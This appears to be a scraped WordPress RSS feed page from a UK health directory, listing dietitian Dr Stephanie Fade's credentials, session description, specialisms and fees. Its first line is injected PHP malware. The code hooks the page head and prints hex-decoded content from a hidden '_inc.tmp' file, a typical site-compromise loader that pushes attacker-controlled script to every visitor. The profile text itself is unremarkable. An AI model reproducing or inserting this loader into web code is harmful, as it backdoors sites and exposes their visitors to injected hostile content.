if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } EATING MINDSET Archives - Healthia https://healthia.co.uk/company-tag/eating-mindset/ Wed, 02 Nov 2016 21:01:34 +0000 en-GB hourly 1 https://wordpress.org/?v=6.5.3 Stephanie Fade https://healthia.co.uk/health-professional/dietitians-and-nutritionist-in-hertfordshire/stephanie-fade/ Wed, 03 Aug 2016 10:47:33 +0000 http://healthia.co.uk/?post_type=health-professional&p=1676 Hello, I’m Dr Stephanie Fade lover of food, science and health and founder of Eating Mindset. I have a degree (BSc) in Nutrition with First Class Honours and a Postgraduate Diploma in Dietetics from Kings College, London University. As a Dietitian my work is regulated under UK law by the Health and Care Professions Council […]

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Hello, I’m Dr Stephanie Fade lover of food, science and health and founder of Eating Mindset. I have a degree (BSc) in Nutrition with First Class Honours and a Postgraduate Diploma in Dietetics from Kings College, London University. As a Dietitian my work is regulated under UK law by the Health and Care Professions Council (HCPC.) To stay registered with the HCPC I have to demonstrate that I continue to meet the high standards they set throughout my career.

 

I use the title Dr because I have a PhD. This means that I have demonstrated expertise in assessing the quality and value of other people’s research and in designing, conducting and presenting my own research. I use these skills to make sense of the science behind the nutrition headlines and bust myths about diet and health. This is crucial in a popular field like nutrition where sensational claims are made almost every week.

 

I have learnt a vast amount from over 20 years’ experience in my profession and from parenting 2 children with additional needs that make it hard for them to eat healthily. It’s a pleasure to support other parents in their labour of love to help their children achieve a healthy diet.

 

All this means that you can be assured that I maintain expertise about how our bodies and minds work in relation to the food and drink we consume and that I can apply this knowledge to the practical challenges you face.

 

Session description:

I offer a totally individualised service. Before seeing clients I like to fully assess their current food and drink intake, their current understanding of diet and health and their lifestyle and dietary challenges. I do this using food diaries and simple questionnaires. By the time we meet face to face we can focus on your goals and discuss tailored strategies to tackle your specific issues. I help individuals and their families eat more healthily, lose weight and manage any diet related medical conditions they might have. I see clients at various locations around Watford and London. After your initial consultation you will receive a detailed, personalised report including links to recipes and practical resources to help you on your journey to better health. Follow up consultations can be offered via Skype/e-mail for your convenience.

 

Additional skills:

  • Weight Management
  • Women’s Health – pre-conception, pregnancy and menopause
  • Healthy ageing
  • Gut and digestive problems
  • Faddy eating in children
  • IBS and FODMAP

Qualifications:

  • BSc Nutrition with First Class Honours
  • Postgraduate Diploma in Dietetics
  • PhD

Years experience:

26 years

 

Pricing:
I charge £100/hour for face:face consultations and £80/hour for remote assessments

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